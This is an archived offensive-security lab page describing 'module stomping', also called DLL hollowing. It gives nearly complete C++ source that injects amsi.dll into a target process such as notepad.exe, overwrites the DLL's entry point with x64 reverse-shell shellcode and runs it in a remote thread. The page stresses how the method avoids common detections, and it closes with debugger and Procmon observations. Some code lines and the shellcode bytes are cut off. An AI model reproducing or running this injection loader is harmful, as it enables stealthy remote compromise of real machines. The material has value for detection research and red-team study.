Module Stomping for Shellcode Injection | Red Team Notes

Published: 2020-01-11 · Archived: 2026-04-05 12:44:26 UTC

1. offensive security
2. Code & Process Injection

Module Stomping for Shellcode Injection

Code Injection

Module Stomping (or Module Overloading or DLL Hollowing) is a shellcode injection (although can be used for injecting full DLLs) technique that at a high level works as follows:

1. Injects some benign Windows DLL into a remote (target) process
2. Overwrites DLL's, loaded in step 1, `AddressOfEntryPoint` point with shellcode
3. Starts a new thread in the target process at the benign DLL's entry point, where the shellcode has been written to, during step 2

In this lab, I will inject `amsi.dll` into a `notepad.exe` process, but this of course could be done with any other DLL and process.

1. Does not allocate RWX memory pages or change their permissions in the target process at any point
2. Shellcode is injected into a legitimate Windows DLL, so detections looking for DLLs loaded from weird places like c:\temp\ would not work
3. Remote thread that executes the shellcode is associated with a legitimate Windows module

`ReadProcessMemory` / `WriteProcessMemory` API calls are usually used by debuggers rather than "normal" programs.

`ReadProcessMemory` is used to read remote process injected module's image headers, meaning we could ditch the `ReadProcessMemory` call and read those headers from the DLL on the disk.

We could also use `NtMapViewOfSection` to inject shellcode into the remote process, reducing the need for `WriteProcessMemory`.

```
 #include "pch.h"
#include <iostream>
#include <Windows.h>
#include <psapi.h>

int main(int argc, char *argv[])
{
	HANDLE processHandle;
	PVOID remoteBuffer;
	wchar_t moduleToInject[] = L"C:\\windows\\system32\\amsi.dll";
	HMODULE modules[256] = {};
	SIZE_T modulesSize = sizeof(modules);
	DWORD modulesSizeNeeded = 0;
	DWORD moduleNameSize = 0;
	SIZE_T modulesCount = 0;
	CHAR remoteModuleName[128] = {};
	HMODULE remoteModule = NULL;

	// simple reverse shell x64
	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x

	// inject a benign DLL into remote process
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	//processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 8444);

	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);
	PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kerne
	HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
	WaitForSingleObject(dllThread, 1000);

	// find base address of the injected benign DLL in remote process
	EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
	modulesCount = modulesSizeNeeded / sizeof(HMODULE);
	for (size_t i = 0; i < modulesCount; i++)
	{
		remoteModule = modules[i];
		GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));
		if (std::string(remoteModuleName).compare("amsi.dll") == 0)
		{
			std::cout << remoteModuleName << " at " << modules[i];
			break;
		}
	}

	// get DLL's AddressOfEntryPoint
```

```
        DWORD headerBufferSize = 0x1000;
        LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
        ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL);

        PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;
        PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lf
        LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule)
        std::cout << ", entryPoint at " << dllEntryPoint;

        // write shellcode to DLL's AddressofEntryPoint
        WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);

        // execute shellcode from inside the benign DLL
        CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);

        return 0;
}
```

Below shows the technique in action - amsi.dll gets loaded into notepad and a reverse shell is spawned by the shellcode injected into amsi.dll `AddressOfEntryPoint`:

Note how powershell window shows that `amsi.dll` is loaded at 00007FFF20E60000 and it's DLL `AddressOfEntryPoint` point is at **00007FFF20E67**E00.

If we look at the stack trace of the cmd.exe process creation event in procmon, we see that frame 9 originates from inside `amsi!AmsiUacScan+0x5675` (**00007fff20e67**f95) before the code transitions to kernelbase.dll where `CreateProcessA` is called:

Procmon logs

If we inspect notepad.exe threads, we can see thread 7372 with a start address of `Amsi!AmsiUacScan+0x54e0`.

If we inspect that memory location with a debugger, we see it resolves to `Amsi!DLLMainCRTStartup` and it contains our shellcode as expected:
